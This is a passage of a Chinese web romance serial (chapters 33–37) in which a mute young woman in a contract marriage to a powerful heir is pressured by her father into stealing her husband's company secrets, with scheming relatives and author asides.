“我也觉得,这珍藏室除了顾老爷,不就只有她有钥匙嘛,肯定是她把人带进来陷害的!” 舒晚慌了神。 她平时树敌太多,那些人早就想把她拉下马了,现在有机会,不管真的假的,一个个都恨不得从她身上撕下一块肉来! 她强迫自己冷静下来,诸愿晕了,没法开口,现在是她自证的最好机会,反正摄像头早被她屏蔽了,还不是她说什么就是什么。 可她还没来得及说话,顾识弈就指着那个保镖,厉声道:“既然大伯母说不清楚,那就是这人干的。来人,把他送进警局。” 舒晚的心瞬间提到了嗓子眼。这个保镖是她找的急需用钱的顾家旧人。 要是他被送进警局,说不定会把自己供出来!她刚要阻止,两个保镖已经冲了上来,把人直接按在了地上。 那保镖吓得魂飞魄散,砸了顾家的藏宝室,还伤了顾氏继承人的妻子,这要是进了警局,怕是要坐一辈子!他家里还有老有小,怎么能坐牢? 为了自保,他嘶吼起来:“是舒夫人叫我干的!她说只要把诸少奶奶打晕运出去,就给我一笔钱!花瓶是诸少奶奶砸的,不是我!真的不是我!” 这话一出,全场一片死寂,紧接着响起倒吸凉气的声音。 舒晚后退了两步,脸色惨白如纸。 她完了! 顾识弈的脸色黑得像墨,他本以为舒晚只是看不惯诸愿,想报复,却没想到她竟然想除掉诸愿。 要是今天没有这些碎裂声,没人路过说闹鬼,诸愿是不是就会悄无声息地消失? 他紧紧抱着怀里的人,声音冷得像冰:“既然事情已经清楚了,这些花瓶的赔偿金额,明天我会让人送到老宅。” 顾老爷子皱了皱眉,他了解自己的孙子,绝不会这么轻易算了。 果然,顾识弈接着说:“至于伤害我妻子的事,我要舒家陪葬!” 恰在此时,有人说车备好了。顾识弈抱着诸愿,头也不回地往外走。 顾老爷子闭了闭眼,知道这事已经无法挽回。 他拄着拐杖,在忠叔的搀扶下转身离开。 身后,舒晚 撕心裂肺的哭喊声传来:“父亲!不是我的错!我是你一手培养起来的啊!” 他没有回头,那些哭喊渐渐淹没在人群的唏嘘和冷嘲里,像被风吹散的尘埃,连一丝痕迹都没留下。 诸愿醒来时,天已经亮了。 病床里的白色窗帘拉得半开,晨光透过缝隙洒进来,在被子上投下细碎的光斑。 她动了动手指,才发现额角传来隐隐的钝痛,缠着的纱布还带着淡淡的药味。 顾识弈坐在床边的椅子上,手上拿着沾了她的血像虎又像狮的那个摆件,脸上的神色却阴沉得像暴雨来临前的乌云。 他没看她,可周身的低气压却让诸愿莫名发慌。 她以为他会先问藏宝室的事,或是关心一句她的伤势,可顾识弈只是抬眸看向她,声音里像是压着怒火:“为什么要用这种方式?” 诸愿的心猛地一沉,他是在怪她砸了那些花瓶吗? 昨晚她虽然晕了过去,但意识没完全消散,模糊中听见他说要赔偿的话。 那些古董价值连城,这笔损失费恐怕是个天文数字。 她挣扎着想去拿床头的手机,顾识弈没让她起身,帮她递了过来。 诸愿愣了愣,指尖攥紧手机。刚打下“对不起,下次……”几个字,又突然停住。 这段时间,她已经说了太多次“对不起”和“下次”,可每次都以“惹麻烦”收尾,再说这话,连她自己都觉得虚伪又敷衍。 顾识弈的目光还落在她身上,像在等一个答案。 她盯着黑屏反光投映的自己,突然想起昨晚阳台那个吻,他当时的呼吸那么烫,眼底的温情像是真的,看起来很喜欢。 她咬了咬下唇,还是撑着身子坐了起来,伸手抓住顾识弈的手腕。 他的手很凉,指骨分明,诸愿仰头看着他,努力扯出一个讨好的笑。 这是以前诸世青教她的,说女孩子示弱时,这样的笑最能让人心软。 她一直觉得这是不入流的做法,不愿意。 现在,她只想让他别再生气。 可下一秒,顾识弈就轻轻掰开了她的手。 他的动作不算重,却带着不容置疑的疏离,像在推开一件无关紧要的东西。 诸愿眨了眨眼,完全愣住了。 直到手心彻底空了,她才慢慢回过神,指尖还残留着他手掌的温度。 她抬头看向顾识弈,他的眼神依旧冷漠,没有半分被讨好的松动。 原来苏晚说的是对的——“男人都是善变,靠不住的”。 昨晚的温情是假的,此刻的冷漠才是真的。 或者说,那温情从来都是给“顾太太”的。 不是诸愿的—— 作者有话说:虽然这个豪门斗争?看起来像一坨,但真的是我绞尽脑汁写的了[爆哭] 原谅我[可怜][求你了] 第34章 诸愿飞快拿起手机敲击屏幕,荧光映着她苍白的脸:【对不起,当时只是为了自保所以才砸了那些花瓶,不是故意的,损失费……】 【我会想办法还】的字样还悬在输入框,一只温热的大手突然攥住她的手腕,将她猛地拽进一个坚实的怀抱。 诸愿浑身绷紧,本能地想推拒,男人的手臂却像铁箍般收得更紧,将她牢牢圈在怀中。 松木的淡香裹着他的体温贴过来,与昨夜安抚她时的气息如出一撤。 “我不是怪你砸了花瓶。”顾识弈的声音放得极轻,像是怕重一点就会伤到怀里的人,尾音却藏着一丝不易察觉的无措,“我只是……为什么要伤害自己?” 诸愿靠在他胸口能清晰听见胸腔里沉稳有力的心跳,没有半分怒意,反而掺着一丝慌乱的震颤。 他不怪她?那方才的怒火,是……担心她? 这个念头刚冒出来,就被诸愿硬生生压了下去。 她不过是他雇佣来需要时时刻刻注意形象的“顾太太”,他大抵是怕她出事,徒增不必要的麻烦罢了。 “昨天的事已经处理好了。”顾识弈的声音打断她的思绪,“今早苏家提交了破产申请,她再也不能找你麻烦。” 诸愿猛地抬头,眼里满是惊色。 她知晓顾识弈的能力,却从未认为他会真的做得这么决绝,让苏家为昨日的所作所为付出代价。 “你不用怕。”顾识弈凝视着她的眼睛,语气认真得没有半分玩笑,“从今往后,我会护着你,不会再让你受半点伤害。方才问你,是不想你用伤害自己的方式解决问题。” “诸愿,你可以依赖我、相信我,不必事事都自己扛。” 她望着他,那双素来疏离淡漠的眸子里,此刻盛满了担忧和自责,还有一丝她不敢深究的温柔。 诸愿想说些什么,却因为不能说话,只能任由顾识弈重新将自己搂紧。 感受着怀里的真实温度,她的脑子里只感觉到一片混乱,不知该作什么反应。 —— 诸愿在医院又住了一日,才得到医生的允许出院。 额头上的伤口裹着雪白的纱布,医生反复叮嘱不宜劳累,她正好把国庆期间加班未休的假期补回来。 只是想到原本能拿的三倍工资变成了调休,诸愿心里难免有些郁闷,仰头对着澄澈的天空轻轻叹了口气。 刚进门,静姨一眼就瞥见了她额头上的纱布,当即惊呼出声:“哎呦,太太这是怎么了?伤得这么重!”她念叨着快步凑上前,细细打量着,“半年前顾总也伤了额头,这怎么还凑一块儿了?难道今年犯磕?” 诸愿愣了愣,想起半年前自己意外砸伤顾识弈的事,忍不住在心里嘀咕:真是天道好轮回,苍天饶过谁。 顾识弈拎着两人住院时的换洗衣物从门外进来,目光落在她额头上,语气不自觉放柔:“上楼躺着,医生说不宜多动,小心头晕。晚饭我让静姨送上去。” 诸愿心里默默应了声“哦”,乖乖转身往楼梯走去。 身后传来他对静姨叮嘱忌口的声音,从辛辣刺激到油腻荤腥,再到伤口愈合需补充的蛋白质和维生素,竟把医生的话一字不落地复述出来,连细微的剂量都没落下。 诸愿的脚步顿了顿,心里掠过一丝讶异。 他的记忆力竟这么好?还把医生那些琐碎的嘱咐都一一听进了心里。 顾识弈好像比她想象中,对她要好上那么一点? 回到卧室,诸愿偷偷玩了两把贪吃蛇,眼皮就开始发沉。 她打了个长长的哈欠,把手机放在床头柜上,躺平身子闭上眼睛,没多久便坠入了梦乡。 再次睁眼时,眼前却不是熟悉的卧室天花板,而是一条老旧的街道。 诸愿眨了眨眼,满心狐疑。 她不是在午休吗?怎么会来这里? 奇怪的是,这条街她分明从未踏足过,却莫名透着一股难以言喻的熟悉感,甚至脑海里自动浮现出许多细节: 街角开着一家小小的水果店,老板是个心地善良的女人,人长得清秀,经常会送些新鲜水果给附近孤儿院的孩子们。 她甩了甩头,暗觉荒谬。 自己从未来过这里,怎么会有这些清晰的印象? 正要转身离开,前方忽然传来一声温柔的呼喊:“小阿愿。” 诸愿循声望去,不远处站着一位四十岁左右的妇女,系着略显陈旧的蓝布围裙,正朝着她含笑招手。 她皱起眉头,对方怎么会知道她的小名?她们认识吗? 不等她细想,一个扎着羊角辫、穿着碎花小裙子的小女孩从她身侧欢快地跑过,脆生生地喊:“张姨我来啦!” 张姨从围裙兜里掏出一个红彤彤的苹果,笑着叮嘱:“跑慢些,别摔着。” “谢谢张姨。”小女孩接过苹果,声音像银铃般清脆,“我先回去啦,院里来了个小哥哥,我要去照顾他。” “我们小阿愿也会照顾人啦,真是个小大人。”张姨捂着嘴笑,眉眼弯弯,满是慈爱。 小女孩却不觉得是取笑,反而昂着小小的脑袋,一脸骄傲地说:“那是!今早还是我帮小哥哥打的洗脸水呢!” “好好好,我们小阿愿最厉害。快回去吧,别让小哥哥等急了 。” 小女孩重重地点点头,转身朝着诸愿的方向走来。 诸愿早已惊得僵在原地,等看清小女孩的脸时,更是瞪圆了眼睛,呼吸都停滞了。 那张脸,竟和她相册里小时候的模样一模一样! 她八岁那年生过一场重病,醒来后便忘了所有过往,只能通过几张泛黄的旧照片知晓自己儿时的模样。 可眼前的小女孩,不仅和她同名“小阿愿”,连眉眼间的神态都分毫不差! 诸愿下意识往前迈了两步,想拉住那个小小的身影,指尖却径直穿过了对方的身体,什么也没碰到。 “唔……” 卧室里,诸愿猛地睁开眼,手还维持着前伸的姿势。 她望着空荡荡的掌心,兀自出神:刚才竟然是梦? 可那个小女孩……她是天生不能说话的,可梦里的“小阿愿”,却有着一把甜美的嗓音。 诸愿摇了摇头,只当是自己太过渴望开口说话,才做了这样荒诞离奇的梦。 就在这时,床头柜上的手机突然震动起来。 她拿起手机,屏幕上跳动的“海哥”二字让她心头一跳,莫名升起一股不详的预感。 接通视频的瞬间,冯海武略显急促的声音便传了过来:“陈秘书跑了。” 原来陈秘书早已能下地行走,这些日子却一直装作虚弱不堪、被打怕的样子,暗地里一直在寻找逃跑的机会。 今日复诊时,趁着看守的人去楼梯间抽烟,竟从医院后门逃了! “我已经派人去追了。”冯海武的语气满是歉意:“你那边一定要做好准备,我怕他会狗急跳墙来找你报复。海哥对不住你,是我疏忽了。” 诸愿摇了摇头,对着屏幕比划手语:〈海哥已经帮了我很多,我不怪您。〉 当初决定送陈秘书去医院,她便料到他可能会逃,只是没想到会这么快而已。 她现在真正担心的是,若陈秘书联系上诸世青,那后果将不堪设想。 念头刚落,手机便弹出一条来自陌生号码的短信。 诸愿指尖一顿,犹豫了片刻,还是点开了。 【诸愿,你以为转移了你哥就万事大吉?天真!你猜,要是我告诉顾识弈你当初进顾家的真实目的,他还会心甘情愿资助你救你哥吗?你还能安稳当你的“顾太太”?这一切都是我给你的,要是我不愿意,随时都能收回来!】 诸愿死死咬住下唇,直到尝到一丝淡淡的血腥味才松开。 她迅速将短信转发给冯海武,打字:〈海哥,帮我查一下这个号码的来源ID。〉 一分钟后,冯海武的回复便来了:【定位在花城。】 诸愿心脏猛地一沉。 诸世青,竟然回国了! 紧接着,诸世青第二条短信接踵而至,还附带了一个地址:【今晚六点,来这里见我。否则,别怪我心狠,不认你这个女儿!】 口腔里的血腥味愈发浓重,就在这时,卧室门被轻轻敲响,静姨的声音在门外响起:“太太,您醒了吗?我给您端了些水果来。” 诸愿赶紧抽了张纸巾按住嘴唇止血,看向卧室门,想来是刚才视频通话的声音让静姨听到她醒了。 她正好有事要找静姨帮忙,连忙下床快步开了门。 静姨把果盘放在桌上,转身便见诸愿递过来的手机屏幕上写着:【顾识弈在哪】 “顾总在书房处理公务呢。”静姨答道。 诸愿松了口气,继续打字:【我朋友听说我受伤了,想来看看我,但她下班晚,我想自己去找她吃顿饭。如果他问起,您就说我在卧室吃了饭,困了又睡了,麻烦您了。】 静姨面露难色,有些难为情地说:“可顾总刚才特意交代,说今晚要陪您在卧室吃饭,让我把饭菜都端上楼。这……我想帮您瞒,也瞒不住啊。” 话音刚落,一道低沉磁性的嗓音突然从门口传来:“瞒什么?” 诸愿浑身一僵,缓缓转过身。 顾识弈站在门边,深邃的目光落在她脸上,带着一丝疑惑和探究,又重复了一遍: “瞒谁?” 第35章 卧室里的气压骤然凝住,静弈忙不迭出声打圆场:“是太太的朋友约见,偏巧赶上加班抽不开身,太太想着亲自跑一趟,顺陪朋友吃顿饭。怕您担心不允,才想着先瞒一瞒,实在不是什么要紧事。” 顾识弈的目光越过静姨,直直落在诸愿身上,语调听不出喜怒,却带着一种穿透力,让她无从回避:“是吗?” 诸愿本就不擅长说谎,被这双眼睛盯着,脸颊瞬间涨得发烫,只能飞快点头,眼睫垂得极低,始终不敢与他对视。 床头柜上的闹钟滴答,每一声都仿佛敲在诸愿紧绷的心上。 她以为等待自己的会是干脆的拒绝,或是步步紧逼的盘问,顾识弈却忽然开口,语气平淡得像是在说一件再寻常不过的事:“我送你。” 诸愿倏地抬头,撞进他眼底毫无疑窦的信任,那片澄澈让她脸颊的热度又蔓延到了耳根,愧疚感填满心间,她慌忙低下头,指尖绞着家居服的下摆 更让她焦灼的是,她要见的根本不是什么朋友,而是诸世青! 若是顾识弈知晓真相,知道她从头到尾都在撒谎,后果简直不堪设想。 “怎么了?”顾识弈察觉到她的局促不安,眉峰微挑,“不想我送?” 他声音里那丝淡淡的疑虑,让诸愿的心瞬间提到了嗓子眼,生怕再多说一句就露馅,连忙用力摇头。 末了,她掏出手机,指尖飞快敲击屏幕:“谢谢你送我。” 跟着顾识弈走出家门,直到看见他拉开驾驶座的车门,诸愿才后知后觉地反应过来,他说的“送”,是要亲自开车。 这下她更慌了,若是到了地方,他要跟着一起下车见“朋友”,那她的谎言不就不攻自破了? 她趁着顾识弈发动车子的间隙,赶紧给苏沐发消息,拜托她下班立刻赶去诸世青给的地址,替自己打个掩护。 消息刚发送成功,身旁的顾识弈忽然倾过身来。 诸愿以为自己的小动作被发现了,立刻往旁边一躲,后背抵着冰凉的玻璃,泛起一层鸡皮疙瘩。 再看,她整个人都贴在了车门玻璃上,几乎要离开身下的坐垫。 “咔哒”一声轻响,打破了她的惊慌。 原来是顾识弈在帮她系安全带。 他看着少女如惊弓之鸟般的防御姿势,眉头微不可察地拧了一下,又很快舒展开,语气带着几分歉意:“看你在忙,就顺手帮你系了,抱歉,下次我会先问你。” 诸愿确认他没发现谎言,悄悄松了口气。 顾识弈的声音又传来:“地址发我。” 诸愿点头,立刻将餐厅地址转发给他,只是心里仍有些乱糟糟:他会不会跟着下车?真要跟去了,她该找什么理由推脱? 还有诸世青约她见面,到底是要她做什么? 这些问题在她心头盘旋,根本没有发现顾识弈本不应该帮她安全带的事。 —— “到了。”顾识弈的声音将她从纷乱的思绪中拉回现实。 诸愿愣了一秒,才慌忙去解安全带,手指扒着车扣拽了一下,没反应。她加了点力气再试,车扣依旧纹丝不动。 这时她才恍然,是顾识弈没解开车门锁。 她回头指向车门,比划手语:〈可以帮我打开吗?〉 方才还对她有求必应的顾识弈,此刻却没有立刻解锁,只是好整以暇地看着她,眼神深邃难辨,像藏着无尽的漩涡,要将她吸进去。 诸愿没来由地感到一阵危险,才明白他这是故意的。 最终,她伸出手,轻轻扯了扯他的衣袖,眼底带着无声的央求。 时间仿佛在这一刻静止。 就在诸愿快要放弃,脸上露出颓丧神色时,“咔哒——”一声,车门锁开了。 顾识弈抬手,指尖轻轻抚过她微微下撇的嘴角,语气 莫名,带着一丝让人捉摸不透的意味:“我说过,你可以依赖我、相信我,不必事事都自己扛。” 诸愿没有再闪躲,恍惚觉得顾识弈已经知道了什么,可转念一想,若是他知晓了自己和诸世青的交易,怎么可能还亲自送她来这里? 就算他脾气再好、对自己再纵容、再需要她这个“顾太太”挂件,也该早做处置了吧? 她在心里一遍遍告诉自己“顾识弈不可能知道”,扯了扯嘴角,露出一个勉强的笑,离开了他的手。 推开车门,诸愿几乎是逃也似的下了车,快步进了餐厅里。 顾识弈望着她转瞬即逝的背影,指尖无意识地捻了捻,仿佛还残留着少女肌肤的细腻触感,眼底的情绪深沉。 诸愿跟着侍者,一路忐忑地走向诸世青指定的包厢。 “诸小姐,诸先生在里面等您。”侍者恭敬地退到一旁。 诸愿点点头,脸上没什么表情,只有她自己知道,内心早已被厌恶填满。 诸世青是她的亲生父亲,却从未将她当作女儿看待。不是对她有多严苛,相反,而是彻底的漠视,近乎自生自灭。 在她的记忆里,这位父亲永远对她不闻不问,看她时,永远是居高临下的睥睨,还将她的活动范围限定在卧室,没有允许绝不能下楼,甚至不允许哥哥诸贺找她。 若不是哥哥苦苦哀求请来教导老师,她连读书的机会都没有。 后来哥哥得到爷爷的重视,在诸氏站稳脚跟,她才得以走出那个小小的卧室,和同龄人一起上学。 可好景不长,爷爷病世,哥哥遭遇车祸,她又一次被囚禁起来,直到她提出代保姆给哥哥送餐,才换来了出门喘息的机会。 有时候她也会想,或许自己根本不是诸家的女儿,她也从不稀罕当这个身份。可有时候又觉得,能成为诸家的女儿,也是幸运的,因为她有诸贺这样好的哥哥。 这两种矛盾的情绪,在无数个深夜拉扯着她,陪伴她度过了漫长的成长岁月,直到她被诸世青送给了顾识弈。 过往的片段在脑海中一闪而过,不过几秒的时间。诸愿呼出一口气,抿紧嘴唇,推开了包厢的门。 诸世青端坐在圆桌正中间,桌上摆满了珍馐佳肴,香气扑鼻。 他正慢条斯理地夹着菜,动作间尽是傲慢,见到她进来,也只是漫不经心地瞥了一眼,便继续用餐,连让她坐下的意思都没有。 诸愿心里清楚,这是故意要她站着,是无声的敲打。 她不愿被人如此拿捏,可哥哥的命还攥在诸世青手里,她需要顾识弈的帮助,只能暂时忍耐,将所有的不甘都压在心底。 诸世青显然也吃准了这一点,故意晾着她,像是要发泄这段时间的不满。 直到吃完一碗饭,他才放下碗筷,抽出纸巾擦了擦嘴,终于抬眼看向她。 “诸愿,你实在是太令我失望了!”说完,他将揉皱的纸团狠狠砸向诸愿。 纸团砸在身上并不疼,却像一记响亮的耳光,狠狠打在诸愿脸上。 她面无表情地继续站着,像是早已习惯了这种逆来顺受,只是垂在身侧的手指悄悄攥紧了。 诸世青敲打完,又开始诱哄:“诸贺是你哥,也是我儿子,我怎么忍心让他一直躺在床上,只是公司这些年收益不好,上半年还濒临破产,我实在拿不出钱了,不然也不会让你去顾家。你年纪小,识人不清,以为顾识弈帮你安排诸贺的手术就是好人,不肯偷机密也正常,爸不怪你。” “但能当顾家家主的,手上怎么可能干净?你别被他的表面骗了,乖,趁着他现在对你还有兴趣,抓紧把公司机密偷出来,你也算将功补过了。” 诸愿听着他冠冕堂皇的话,只觉得一阵恶心,胃里翻江倒海。 诸世青似乎也知道这些话打动不了她,立刻抛出新的诱饵:“你不是一直想要重返大学吗,只要你把机密拿来,我保证,立马帮你办复学手续,也不会向顾识弈揭穿你的身份。” 他看着诸愿微闪的目光,趁热打铁:“难道你忍心看着诸贺的手术半途而废吗?顾识弈是什么人,他对你的新鲜感能维持多久?等他抛弃你的时候,你再想争取就晚了!” 他算准了诸愿在乎诸贺,算准了她会为了哥哥答应所有无礼的要求。 最终,诸愿缓缓点了点头。 诸世青立刻笑出声来,语气得意:“这才是爸的乖女儿,这些年没白疼你。不过——” 他推了推眼镜,镜片后的眼底闪过一丝算计,“为了防止你耍花招,我给你半个月时间。半个月内必须拿到机密,否则,就别怪我把所有事情告诉顾识弈。到时候,顾家掌权人的惩罚,可比我严厉多了。” 明明室内的温度开得极高,诸愿却觉得浑身寒冷,垂在身侧的手指微微颤抖。 诸世青抬腕看了看手表,语气又变得冷淡:“我还有别的事,你走吧。” 诸愿转身离开,来时的忐忑变成了此刻的沉重,双腿传来的酸痛提醒着她,方才她一动不动地站了将近半个小时。 刚拉开包厢门,身后忽然传来诸世青带着疑惑的声音:“你没吃助孕药?怎么这么久了还没动静?” 诸愿拉门的手猛地一僵。 一定是陈秘书跟诸世青说,顾识弈喜欢她,所以诸世青才会以为是她没吃助孕药,而非她根本没和顾识弈同房。 她不可能说出真相,只能转过身,比划着手语表示自己吃了。 可诸世青看了,脸上没有丝毫喜色,反而露出浓浓的嫌弃,骂道:“没用的东西。” 诸愿一出包厢就径直去了洗手间,对着水槽“呕”地一声吐了出来。 她没吃晚餐,自然吐不出什么东西,只有酸涩的胃液灼烧着喉咙。 冰凉的水扑在脸上,刺激得她一个激灵,那些委屈、愤怒、无助的情绪消散,脑海里只剩下“冷”这个字。 她又接连扑了几把冷水,直到彻底压下心头的纷乱,才抽了纸巾擦干脸,整理好衣襟,确保脸上看不出任何异样。 走出洗手间,刚拐过走廊尽头,诸愿的脚步顿住。 她看见了顾识弈的大伯顾城文。 他的妻子苏晚娘家已经破产,一向以老实本分示人的他,此刻却抽着雪茄。 烟雾缭绕中,身边跟着两个点头哈腰但衣着不菲的男人,一看身份就不简单。 诸愿心里掠过一丝诧异,随即又恢复了平静。 这些都与她无关,她只想尽快离开这里。 她转身走向另一个方向的电梯,不知道顾识弈是不是还在车里等她,会不会等得不耐烦先走了。 走出餐厅,诸愿已经做好了打车的准备,却一眼看见门前泊车位上停着顾识弈的车。 她走上前,打开副驾,看见顾识弈正在驾驶位上敲电脑,指尖在键盘上飞快跳跃,似乎在处理公事。 更让她想不到的是,副驾上,在她离开的这段时间里,竟然多了一大捧鲜艳的红玫瑰,与车内的清冷格格不入—— 作者有话说:美好的周末愉快[撒花][撒花][撒花] 第36章 “这么快就吃完了?” 顾识弈合上笔记本电脑的瞬间,目光精准地落在诸愿身上。 视线扫过她紧盯副驾玫瑰的模样,他伸手将那束花抱起。 自上次被默认“包得土气”后,他总算认清了“术业有专攻”的真理,这次特意让花店店员打理,此刻递出去时,多了几分坦荡。 “喜欢吗?送你。” 诸愿还在琢磨这花的来历,骤闻这话,瞳孔猛地缩成了圆溜溜的杏核。 “七夕太仓促,没寻到合心意的玫瑰,现在补给你。”他的指尖轻轻托着花茎,递到她面前。 诸愿下意识伸手接住,馥郁的花香裹着微凉的水汽扑进鼻腔,她才后知后觉地慌了神,她们不过是契约婚姻,既非夫妻也非情侣,这花她怎能收? 何况,他是她的雇主,不送才是理所当然。 她眼底的困惑太鲜明,顾识弈自然看在眼里,淡淡解释:“就算结了婚,仪式感也不能少。何况我们跳过了情侣这一步,更该补上。” 诸愿懵懵懂懂地抱着花上了车,脑子里像缠了团乱麻。 她们明明是假结婚,谈什么仪式感? 等等……或许顾识弈是说,就算是假夫妻,表面功夫也得做足,只是不好明说“假结婚”这层关系? 这么一想,先前那些费解的话忽然就顺理成章了。诸愿悄悄松了口气,刚才差点就荒唐地以为,顾识弈是喜欢她才送花的。 倒不是她缺乏被爱的底气,只是顾识弈会喜欢她这件事,荒唐得就像有人告诉她“你终有一天能开口说话”一样,毫无可能。 既然是演戏,诸愿便放下心来,甚至生出几分“完成任务”的责任感。 她不动声色地张望四周,暗自揣测是不是有记者偷拍,琢磨着要不要再凑近顾识弈些,模仿寻常妻子收到花时的亲昵与欢喜。 思绪正飘着,身旁男人忽然开口:“你有没有礼物送给我?” 顾识弈本想问那枚香囊是否可以现在送他,话到嘴边,终究换成了模糊的“礼物”二字。 诸愿愣住了,抱着花的手微微收紧,呆呆地望着他。 这剧本还带一来一回的对手戏?难道附近真有监听?可她无法说话,打字又未必能被人看见。 但顾识弈的眼神太过灼热,像是真的满心期待着她的回礼,诸愿实在不忍装作没听见。 掏出手机,她老实敲下一行字:【对不起,我不知道你会送我花,没准备礼物。】 顾识弈的眼底掠过一丝不易察觉的怅然,却轻声安慰:“没关系。” 诸愿抬眸望了他一眼,捕捉到那抹转瞬即逝的失落,鼻尖忽然涌上酸涩。 他对她那么好,还送了花,自己没有回报,还很坏的答应了诸世青要偷他的公司机密。 她难过地打下:【对不起,我……】却被他打断。 “为什么要对不起?”顾识弈的目光温和地落在她脸上,“你做了对不起我的事?” 他等了片刻,没等到后续的文字,余光瞥见少女的手指悄悄蜷缩起来,像是在纠结什么。 宽大的手覆上去,捏了捏掌心里葱白的指尖,迎着诸愿惊诧的目光,他温声道:“回家了。” —— 深夜十一点,诸愿躺在床上翻来覆去,毫无睡意。摸出手机,犹豫再三,还是点开了与林秘书的聊天框:【林秘书,我哥哥什么时候可以做手术?】 她虽答应了诸世青,却打心底里不愿付诸行动。如果哥哥能在半个月内完成手术,或许她就不用去偷机密了。 “咚咚”的消息提示音打断了她的思绪。 林秘书:【太太晚上好,诸先生的手术安排在下周二,不过只是观察性手术,正式治疗需等观察结果出来后再定。稍后我发一份计划书给您。】 紧随其后的,是一个名为【计划书.docx】的文件 诸愿点开文档,越看心越沉。哥哥的手术加术后恢复,竟要长达半年时间,可她只有半个月的期限。 难道她真的要去偷顾识弈的公司机密吗? 她蜷缩在被子里,茫然地望着天花板,眼泪无声地滑进枕套。 “诸愿?诸愿?” 熟悉的声音在耳边响起,诸愿猛地回神,对上顾识弈带着探究的目光,他的眉头微微蹙着。她这才发现,自己手里还捏着只咬了一口的吐司,那口面包还含在嘴里,没来得及吞咽,一副心不在焉的模样。 怕被他看出破绽,诸愿慌忙将剩下的吐司全塞进嘴里,不料面包太干,一下子卡在喉咙里,脸涨得通红,呛得直眨眼。 对面的顾识弈立刻站起身,递过来一杯温牛奶,另一只手轻轻抚在她的后背顺气,力道轻柔:“慢点吃,没人跟你抢。” 诸愿就着他的手将牛奶一饮而尽,总算把吐司咽了下去,脸颊却烫得能煮熟鸡蛋。 顾识弈见她没事,放下杯子正要走回自己的位置,手腕却被她猛地抓住。 他回头,眼神里带着无声的询问:“怎么了?” 诸愿抿了抿唇,指尖微微颤抖,犹豫了三秒,还是掏出手机,将亮着屏幕的手机递到他面前。 屏幕上的文字清晰可见:【我今天还在休假,在家有点无聊,可以带我去你公司玩吗?】 昨晚辗转反侧了一整夜,她实在想不出别的办法。为了哥哥,她只能去伤害顾识弈。 可手机递出去的瞬间,诸愿又暗自祈祷他拒绝。 若是是他不同意,她便有了现成的借口,不是她不想,而是没有机会接近。 顾识弈看完屏幕上的字,挑眉看向她,眼神里带着几分新奇。 这也难怪,就连诸愿自己都觉得,提出要跟他去正远集团的想法,实在怪异得很。 她头埋得越来越低,不敢与他对视,耳尖红得快要滴血。 “可以。”顾识弈却回答得干脆利落,“去收拾东西,一会就出发。” 诸愿猛地抬起头,眼里满是难以置信。 直到坐进车里,她还在恍惚,他竟然真的同意了?难道连老天都在推着她去偷那份机密吗? 上次来正远,是林秘书接她上来的,彼时早已过了上班高峰期,并未引起太多注意。 可今天,她不仅是在上班时间前来,还跟顾识弈并肩前行。 刚走进大厅,便感觉到一道道若有似无的目光落在身上。 可等她环顾四周,众人却各司所职,神色如常,仿佛刚才的注视只是她的错觉。 诸愿眨了眨眼,难道是她太紧张了? 身旁的顾识弈察觉到她的小动作,侧头俯身,温热的气息拂过耳畔:“怎么了?” 诸愿连忙摇摇头,示意自己没事。 顾识弈的办公室和她上次所见并无二致,偌大的空间透着几分清冷,一如他本人。 这次,诸愿特意留意了一圈,确认没有摄像头后,悄悄松了口气。 林秘书进来汇报工作时,瞥见沙发上的诸愿,眼底闪过一丝惊讶,但很快便恢复如常,笑着颔首:“太太。” 诸愿礼貌地点点头,看着他走到顾识弈办公桌前汇报事宜,心里却急得团团转——她只想着怎么跟着来,却没想过具体该怎么偷机密。 “太太”林秘书的声音拉回了她的思绪,她抬头,看见他手里拿着一块平板走过来,“里面有各种软件,您可以拿来打发时间。” 诸愿接过平板,感激地朝他点头,林秘书却扶了扶眼镜,补充道:“这些都是顾总特意吩咐准备的。” 诸愿心里一动,抬眼望向办公桌后。 顾识弈正专注地敲击着键盘,眉宇间带着几分工作时的凌厉,看起来忙碌又认真。 她犹豫了一下,终究还是没起身,默默收回目光。 林秘书离开后,诸愿漫无目的地划拉着平板屏幕,最后还是点开了熟悉的贪吃蛇游戏,登陆账号,直接进入了298关。 顾识弈就在办公室里,她就算有贼心也没贼胆,不如先玩会儿游戏放松一下。 【恭喜你通过贪吃蛇第314关~】 游戏的提示音欢快响起,诸愿忍不 住扬起嘴角,伸手去拿桌上的橙汁。仰头喝水的瞬间,她才发现办公室里早已空无一人,只剩下她自己。 心脏骤然狂跳起来,她猛地站起身,确认顾识弈真的不在,指尖都在轻颤。 又看了一眼紧闭的办公室门,脑海里有个声音在疯狂催促:没人了,快动手,现在是最好的机会! 可她踏出一步,另一个声音却在苦苦哀求:你真的要帮诸世青吗?顾识弈待你并不差,你这是恩将仇报! 她缩回脚,第一个声音立刻反驳:不偷的话,诸世青就会揭穿你嫁给顾识弈的目的,到时候他一样会恨你! 第二个声音不甘示弱:可偷机密被发现,你可能要坐牢的! 两个声音在脑海里激烈交战,诸愿烦躁地捂住耳朵,脸色苍白如纸。 她又看了一眼空荡荡的办公室,咬了咬牙,在心里无声地道了句“对不起”,快步地朝顾识弈的办公桌走去。 另一边,刚开完会的顾识弈走在前面,语气平淡地对身旁的生活助理吩咐:“午餐准备清淡口味,所有肉类都要去骨,蔬菜要剥皮,葱姜蒜只取其味,做好后务必挑出来。另外,任何菜都不能放蚝油、芝麻和花生酱。” 生活助理听得目瞪口呆,暗自腹诽:这难道都是太太的饮食喜好?顾总竟然能记得这么清楚! “记住了?”顾识弈回头看了一眼。 “记住了,顾总!”生活助理连忙点头。 顾识弈不再多言,转身朝自己办公室走去,脚步不自觉地加快了些。 推开门,他下意识看向沙发的方向,那里却空无一人,正要转身出去询问诸愿的去向,余光却注意到了不对劲。 正午的阳光透过落地窗斜射进来,在地毯上投下办公桌的阴影。 而那片阴影里,除了桌椅的轮廓,还多了一团小小的、蜷缩的黑影——显然,有人正蹲在办公桌底下。 这办公室除了他带进来的诸愿,再无他人能随意进出。 顾识弈垂下眼睫,眸色沉沉。 下一刻,他反手轻轻带上了办公室的门。 “咔哒”一声轻响,门锁的声响似乎吓到了桌下的人,那团黑影明显瑟缩了一下。 顾识弈没有停顿,脚步沉稳地一步步朝办公桌走去。 每一步都踩在地毯上,却像敲在人心尖上,带着无形的压迫感。 第37章 顾识弈的脚步在距离办公桌半米处顿住,垂眸时眼底掠过一丝几不可察的笑意,转身便要迈步离去。 